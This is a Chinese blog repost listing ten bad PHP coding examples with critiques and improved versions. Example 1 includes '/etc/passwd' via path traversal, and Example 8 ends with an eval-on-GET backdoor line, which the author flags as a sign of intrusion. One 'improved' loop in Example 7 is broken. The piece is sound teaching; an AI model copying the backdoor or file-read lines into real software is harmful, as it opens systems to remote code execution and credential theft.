zoukankan      html  css  js  c++  java
  • 10例糟糕的PHP代码

    这篇文章在很早以前就看到了,由于最近要自己做一些主题方面的东西,代码需要更加规范,用这些反面的例子来约束自己,告诉自己代码不应该这样写,虽然它也能实现功能,但那样做并不明智,也不美观。现在将这些小花絮分享给大家。

    Example 1 目录引用结构

    <?php
      phpinfo();
      if (file_exist('../../../../etc/passwd'))
      {
        include('../../../../etc/passwd');
      }

    这是在找爹,找到后来连自己都不知道目录的爹是谁了。何不定义一个目录变量呢?

    <?php
    define("ROOT","C:/websites/php/jileiba.com/library/");

    Example 2 if else嵌套逻辑

    <?php 
    if (!isset($_GET['month'])) {
        ...
    }
    else {
        if (isset($_POST['submit_fin'])) {
            ...
        }
    }

    这样的代码难免会出现,但不要大片的出现在PHP代码中,一个function里面不要到处都是这种嵌套的if else结构,它毕竟不是算法。

    Example 3 三元运算符

    <?php 
    function InitBVar(&$var)
    {
        $var = ($var=="Y") ? "Y" : "N";
    }

    这种三元运算符的用法看起来有些别扭,用一个if就能完成的代码,不应该写得这么绕。

    <?php 
    function InitBVar(&$var)
    {
        if($var != "Y"){
            $var = "N";
        }
    }

    Example 4 html字符转义

    <?php 
    function htmlspecialcharsex($str)
    {
        if (strlen($str)>0)
        {
            $str = str_replace("&amp;", "&amp;amp;", $str);
            $str = str_replace("&lt;", "&amp;lt;", $str);
            $str = str_replace("&gt;", "&amp;gt;", $str);
            $str = str_replace("&quot;", "&amp;quot;", $str);
            $str = str_replace("<", "&lt;", $str);
            $str = str_replace(">", "&gt;", $str);
            $str = str_replace("''", "&quot;", $str);
        }
        return $str;
    }

    也许你自己去实现过html字符的转义函数,但这明显是不熟悉PHP手册的同学的做法,也很容易漏掉一些字符。

    PHP htmlspecialchars()函数

    当你想实现一些很通常的方法时,先去翻翻开发手册。

    Example 5 制表符

    <?php 
    str_replace("t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);

    制表符根本就不是html的实体,也请你记住还有t;pre&gt这个标签

    Example 6 坑Mysql

    <?php 
    $id = 0;
    while (!$id || mysql_error()) {
        $id = rand(1, 10000000);
        mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
    }

    也许你是为了测试mysql的性能,也许你只是为了看看它什么时候能挂掉。Mysql不是爹,它坑不起。

    Example 7 字符串替换

    <?php 
    $find = str_replace(",", "", $find);
    $find = str_replace(".", "", $find);
    $find = str_replace("/", "", $find);
    $find = str_replace(" ", "", $find);
    $find = str_replace("-", "", $find);
    $find = str_replace("+", "", $find);
    $find = str_replace("#", "", $find);

    这真是个增加代码行数的好方法,但我想您肯定不想重复劳动。为了避免复制,可以试试数组:

    <?php 
    $words = array(',', '.', '/', '-', '+', '#');
    foreach($words as $word) {
        str_replace("#", "", $find);
    }

    str_replace也支持数组作为参数,效果和上面等同

    <?php 
    $words = array(',', '.', '/', '-', '+', '#');
    str_replace($words, "", $source); 

    或者可以使用用正则替换函数preg_replace,论上数组替换比正则的效率高。

    <?php 
    $find = preg_replace('%\,|\.|\/|\-|\+|#%', "", $find);

    Example 8 大量的echo代码

    <?php 
    echo "<html>";
    echo "<body>";
    echo "<h1>This is my home page</h1>";
    echo "DATENG & DOORWAY";
    echo "</body>";
    echo "</html>";
    if (isset($_GET['admin'])) eval($_GET['admin'])

    当大量的echo出现在你的PHP代码中时,应当考虑使用模板引擎了,推荐你使用Smarty模板引擎。或者include一个文本文件,PHP将直接输出这些html代码。

    注意最后一句代码,它可能会毁掉你整个系统!如果这段不是你加入的,那么你可能已经被入侵了。请记住 几个原则

    • 1、永远都不要尝试使用 eval 函数
    • 2、永远都不要直接使用 $_GET$_POST 等用户输入的 变量。

    Example 9 过多的条件判断

    <?php 
    if (isset($param) && $param!=null && $param!=0 && $param>1) {
        sendRequest($param);
    }

    过多的条件判断等于没有判断,应该考虑精简一下。

    <?php 
    if (is_numeric($param) && $param > 1) {
        sendRequest($param);
    }

    Example 10 switch case

    <?php 
    switch (true) {
        case $formid == 'search_form' :
        case $formid == 'search_theme_form' :
            $form['#action'] = getlangpref() . ltrim($form['#action'], '/');
            $form['#submit']['gpcustom_customsubmit'] = array();
            break;
        case $formid == 'localizernode_translations' :
            foreach ( $form['languages'] as $key => $value ) {
                if ( !is_array($value['#options']) ) continue;
                asort($form['languages'][$key]['#options']);
            }
            break;
        case $formid == 'contact_mail_page' :
            if ( $url = variable_get('gpcustom-contact-form-redirect', false) )
                $form['#redirect'] = $url;
            break;
    
    }

    刚入行时都写过这种类似的代码,以此作为小小的怀念吧,虽然方法很傻,但是那时候功能实现了还是很开心的。

    英文原文:http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/

  • 相关阅读:
    Java 破解谷歌翻译api,可以实现程序自动化翻译文章
    如何搭建高可用redis架构?
    架构师带你玩转分布式锁
    Java8内存模型—永久代(PermGen)和元空间(Metaspace)
    【SFA官方翻译】使用 Kubernetes、Spring Boot 2.0 和 Docker 的微服务快速指南
    kafka为什么这么优秀!
    讲道理,为什么分布式一定要有Redis?
    Windows系统内存分析工具的介绍
    colspan width issue
    OpenGL ES3 非常好的系列文章
  • 原文地址:https://www.cnblogs.com/keepfool/p/2415374.html
Copyright © 2011-2022 走看看